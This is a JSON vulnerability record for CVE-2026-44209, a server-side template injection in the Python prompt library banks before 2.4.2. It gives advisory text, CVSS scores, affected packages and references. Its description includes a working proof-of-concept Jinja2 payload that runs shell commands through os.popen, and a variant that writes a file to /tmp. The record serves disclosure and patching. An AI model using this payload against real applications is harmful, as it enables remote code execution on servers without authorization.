{"id":"CVE-2026-44209","aliases":["CVE-2026-44209","GHSA-gphh-9q3h-jgpp","PYSEC-2026-2390"],"related":[],"kind":"vulnerability","state":"published","title":"Banks: Critical Remote Code Execution (RCE) via Jinja2 SSTI","summary":"Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.","source":"cvelist"},{"lang":"en","text":"## Summary\n\n`banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n    autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n    ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\"\np = Prompt(user_input)\np.text()  # Executes arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import Prompt\n\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\"\np = Prompt(payload)\nresult = p.text()\nprint(f\"[+] Output: {result}\")\n```\n\n**Confirmed output:**\n```\n[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...\n\ntext\n\n**File-write proof:**\n```python\nfrom banks import Prompt\n\np = Prompt(\"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}\")\np.text()\n```\n```bash\nls -l /tmp/rce_banks_exec\n# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec\n```\n\n## Impact\n\nApplications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.\n\n## Fix\n\nFixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.\n\nDevelopers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.\n\n## Resources\n- Fix: https://github.com/masci/banks/pull/74\n- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)\n- CVE-2025-25362 (spacy-llm — identical root cause)\n- CWE-1336: Improper Neutralization of Special Elements in a Template Engine","format":"markdown","source":"ghsa"},{"lang":"es","text":"Banks genera prompts de LLM significativos utilizando un lenguaje de plantillas que tiene sentido. Antes de la versión 2.4.2, Banks utiliza jinja2.Environment() (sin sandbox) para renderizar plantillas de prompts. Las aplicaciones que pasan cadenas proporcionadas por el usuario como argumento de plantilla a Prompt() son vulnerables a la Inyección de Plantillas del Lado del Servidor (SSTI), lo que puede conducir a la Ejecución Remota de Código (RCE) en el sistema anfitrión. Esta vulnerabilidad está corregida en la versión 2.4.2.","source":"nvd"}],"published":"2026-05-08T20:36:22.000Z","modified":"2026-07-24T13:18:22.047Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-917","CWE-1336"],"affected":[{"ranges":[{"version":"< 2.4.2","status":"affected"}],"vendor":"masci","product":"banks","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Exploit Intelligence","package":"exploit-intelligence-tech-preview/vulnerability-analysis-rhel9","cpe":"cpe:/a:redhat:exploit_intelligence:0","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Lightspeed","package":"openshift-lightspeed/lightspeed-ocp-rag-rhel9","cpe":"cpe:/a:redhat:openshift_lightspeed","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Lightspeed","package":"openshift-lightspeed/lightspeed-service-api-rhel9","cpe":"cpe:/a:redhat:openshift_lightspeed","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"OpenShift Lightspeed","package":"openshift-lightspeed-tech-preview/lightspeed-rag-tool-rhel9","cpe":"cpe:/a:redhat:openshift_lightspeed","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Ansible Automation Platform 2","package":"ansible-automation-platform-25/lightspeed-chatbot-rhel8","cpe":"cpe:/a:redhat:ansible_automation_platform:2","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.4.2"}],"ecosystem":"PyPI","package":"banks","purl":"pkg:pypi/banks","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.4.2"}],"ecosystem":"PyPI","package":"banks","purl":"pkg:pypi/banks","source":"pysec"}],"references":[{"url":"https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/masci/banks/pull/74","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44209","tags":["vdb-entry","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481713","tags":["issue-tracking","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44209.json","tags":["x-sadp-csaf-vex"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44209","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/masci/banks","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/banks","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-gphh-9q3h-jgpp","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-05-28T14:07:18.330Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-44209","url":"https://www.cve.org/CVERecord?id=CVE-2026-44209","licence":"CVE Terms of Use","modified":"2026-07-24T12:05:31.563Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gphh-9q3h-jgpp","url":"https://github.com/advisories/GHSA-gphh-9q3h-jgpp","licence":"CC-BY-4.0","modified":"2026-07-13T16:42:52.498Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-44209","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44209","licence":"Public domain","modified":"2026-07-24T13:18:22.047Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2390","url":"https://osv.dev/vulnerability/PYSEC-2026-2390","licence":"CC-BY-4.0","modified":"2026-07-13T16:31:32.347Z"}],"updatedAt":"2026-11-25T22:59:22.377Z","epss":{"score":0.00523,"percentile":0.45844,"date":"2026-12-01T12:00:22.000Z"}}